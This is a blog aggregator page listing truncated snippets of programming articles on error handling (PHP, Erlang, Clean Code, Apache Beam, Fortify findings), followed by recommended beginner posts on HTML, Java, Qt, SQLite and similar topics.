  4. Error Handling and Exception

    The default error handling in PHP is very simple.An error message with filename, line number and a m ...

  5. Fortify漏洞之Portability Flaw: File Separator 和 Poor Error Handling: Return Inside Finally

    继续对Fortify的漏洞进行总结,本篇主要针对 Portability Flaw: File Separator 和  Poor Error Handling: Return Inside Fina ...

  6. Erlang error handling

    Erlang error handling Contents Preface try-catch Process link Erlang-way error handling OTP supervis ...

  7. Error Handling

    Use Exceptions Rather Than Return Codes Back in the distant past there were many languages that didn ...

  8. Clean Code–Chapter 7 Error Handling

    Error handling is important, but if it obscures logic, it's wrong. Use Exceptions Rather Than Return ...

  9. beam 的异常处理 Error Handling Elements in Apache Beam Pipelines

    Error Handling Elements in Apache Beam Pipelines Vallery LanceyFollow Mar 15 I have noticed a defici ...

随机推荐

  1. Python之路【第十一篇】前端初识之HTML

    HTML HTML解释: HTML是英文Hyper Text Mark-up Language(超文本标记语言)的缩写,他是一种制作万维网页面标准语言(标记).相当于定义统一的一套规则,大家都来遵守他 ...

  2. 增强for循环(forearch)

    增强for循环是为了简化在遍历数组需要先获得数组的长度或者在遍历集合中的元素的时候需要使用迭代器的操作. 引入时间:JDK1.5 语法格式: for(数据类型 变量 :需要迭代的数组或者集合){ } ...

  3. 海王星给你好看!FineUI v4.0公测版发布暨《你找BUG我送书》活动开始(活动已结束!)

    <FineUI v4.0 你找BUG我送书>活动已结束,恭喜如下三位网友获得由 FineUI 作者亲自翻译的图书<jQuery实战 第二版>! 奋斗~ 吉吉﹑ purplebo ...

  4. Qt学习笔记 QMessageBox

    Qt的几种MessageBox 1.Infomation类型 QMessageBox::information(this,tr("hello"),tr("title&qu ...

  5. 生成 PDF 全攻略【1】初体验

    经历过多少踩坑,翻看过多少类似博客,下载过多少版本的Jar,才能摸索出正确的代码书写方式,才能实现项目经理需求分析书中的功能点. 本文借一次 JavaEE 生成PDF的颠簸的实现过程,描述中小公司程序 ...

  6. Python2.5-原理之模块

    此部分来自于<Python学习手册>第五部分 一.模块(21章) 模块是最高级别的程序组织单元,它将程序代码和数据封装起来以便重用..模块往往对应于python程序文件.每个文件就是一个模 ...

  7. C#开发Windows服务

    Microsoft Windows 服务(即,以前的 NT 服务)使您能够创建在它们自己的 Windows 会话中可长时间运行的可执行应用程序. 服务可以在计算机启动时自动启动,可以暂停和重新启动而且 ...

  8. 学习SQLite之路(四)

    20160621 更新 参考: http://www.runoob.com/sqlite/sqlite-tutorial.html 1. SQLite   alter命令:不通过执行一个完整的转储和数 ...

  9. 关于最近折腾的ubuntu12.10

    win7旗舰正版up1 UltraISO + ubuntu-12.10-desktop-i386.iso + 4GKingston = 启动U盘 USB HDD 启动 进入ubuntu桌面,安装,磁盘 ...

  10. Android Toast效果设置

    Android Toast效果设置 Toast是Android中用来显示显示信息的一种机制,和Dialog不一样的是,Toast是没有焦点的,而且Toast显示的时间有限,过一定的时间就会自动消失.总 ...